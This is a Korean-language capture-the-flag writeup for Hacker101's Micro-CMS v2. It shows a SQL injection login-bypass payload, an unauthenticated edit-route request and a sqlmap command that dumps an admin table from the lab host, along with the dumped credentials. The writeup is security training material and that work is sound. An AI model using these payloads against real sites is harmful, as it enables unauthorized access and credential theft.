Hacker101 CTF Writeup - Micro-CMS v2

Hacker101 CTF Micro CMS v2 Writeup입니다!

Hacker101 CTF Writeup - Micro-CMS v2
Photo by Patrick / Unsplash

Micro-CMS v2

Hacker101 CTF 에 있는 Micro-CMS v2 문제의 Writeup을 써볼까합니다.‌‌ Flag를 찾는 과정을 작성해보려고하니, 참고용으로만 봐주세요!

Flag0

첫번째 Flag는 간단하게 SQL Injection 취약점을 이용하여, 로그인하여 알아낼 수 있다.

0x00 Try SQLi

Create a new page 링크를 눌러, 로그인 페이지로 이동하여아한다.‌‌다음, Username에 '(single quote)을 넣어 SQLi 를 시도해본다.‌‌ 그러면 다음과 같은 Traceback 메세지를 만나볼 수 있다.

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")

그러면 다음과 같이 SQL문 구조를 볼 수 있다.

0x01 Login

Form 에 다음과 같이 작성해준다.

Username: ' UNION SELECT 'coolwonder' AS password#
‌‌Password: coolwonder‌‌‌‌

다음과 같은 데이터를 쓴다면 뒤에서는 다음과 같은 SQL문이 쿼리된다고 생각해볼 수 있다!

SELECT password FROM admins WHERE username='' UNION SELECT 'coolwonder' AS password#

그러면 정상적으로 로그인된 모습을 볼 수 있다!‌‌

0x02 View Page

글 리스트에서 가장 수상하게 생긴 Private Page 를 클릭해보자.

Flag1

그 다음의 Flag는 생각보다 어렵지 않게 구할 수 있다.

0x00 Stay Logout

먼저 로그아웃 되어있어야합니다!

0x01 Edit Page

수정 라우트를 만지다가 발견했습니다!

POST http://ctf/xxxxxxx/page/edit/1

위와 같이 HTTP 요청을 보내시면 Flag값을 반환합니다!

Flag2

마지막 Flag는 찾는데 굉장히 어려웠습니다.
sqlmap 이라는 툴을 이용했습니다.

0x00 sqldump

python sqlmap.py -u "http://35.227.24.107/4be86410fc/login" --data "username=admin&password=admin" --regexp "Invalid password" --dump

Returning Password Info

Database: level2
Table: admins
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | kizzie   | sharlene |
+----+----------+----------+

0x01 Login

반환되는 유저네임과 비밀번호를 이용하여 로그인하시면 마지막 Flag를 확인하실 수 있습니다!